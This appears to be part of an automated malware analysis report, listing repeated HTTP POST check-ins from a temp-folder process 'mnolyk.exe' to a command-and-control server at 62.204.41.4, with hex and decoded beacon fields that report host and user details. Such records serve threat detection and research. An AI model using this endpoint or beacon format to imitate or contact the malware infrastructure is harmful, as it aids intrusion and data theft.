Feb 6, 2023 18:37:30.054049969 CET	796	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:30.121550083 CET	796	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
337	192.168.2.7	50065	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:30.338042974 CET	797	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:30.403852940 CET	797	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
338	192.168.2.7	50066	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:30.995908022 CET	798	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:31.059571981 CET	798	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
339	192.168.2.7	50067	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:31.325633049 CET	799	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:31.389426947 CET	799	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.7	49758	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:05.847455978 CET	466	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:05.912489891 CET	466	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
340	192.168.2.7	50068	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:32.325881958 CET	800	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:32.394088030 CET	800	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
341	192.168.2.7	50069	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:32.561893940 CET	801	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:32.625941038 CET	801	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
342	192.168.2.7	50070	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:32.801482916 CET	802	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:32.867610931 CET	802	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
343	192.168.2.7	50071	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:33.042572021 CET	803	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:33.107430935 CET	803	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
344	192.168.2.7	50072	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:33.278393030 CET	804	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:33.342987061 CET	804	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
345	192.168.2.7	50073	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:33.536848068 CET	805	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:33.602340937 CET	805	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
346	192.168.2.7	50074	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:33.782820940 CET	806	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:33.846342087 CET	806	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
347	192.168.2.7	50075	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:34.012824059 CET	807	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:34.078227997 CET	807	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
348	192.168.2.7	50076	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:34.245536089 CET	808	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:34.309325933 CET	808	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
349	192.168.2.7	50077	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:34.482978106 CET	809	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:34.547892094 CET	809	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.7	49759	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:06.092267990 CET	467	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:06.159295082 CET	467	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
350	192.168.2.7	50078	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:34.718344927 CET	810	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:34.786504030 CET	810	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
351	192.168.2.7	50079	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:34.965163946 CET	811	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:35.029045105 CET	811	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
352	192.168.2.7	50080	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:35.199980974 CET	812	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:35.266577959 CET	812	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
353	192.168.2.7	50081	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:35.445260048 CET	813	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:35.510221958 CET	813	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
354	192.168.2.7	50082	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:35.692289114 CET	814	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:35.761848927 CET	814	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
355	192.168.2.7	50083	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:35.944830894 CET	815	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
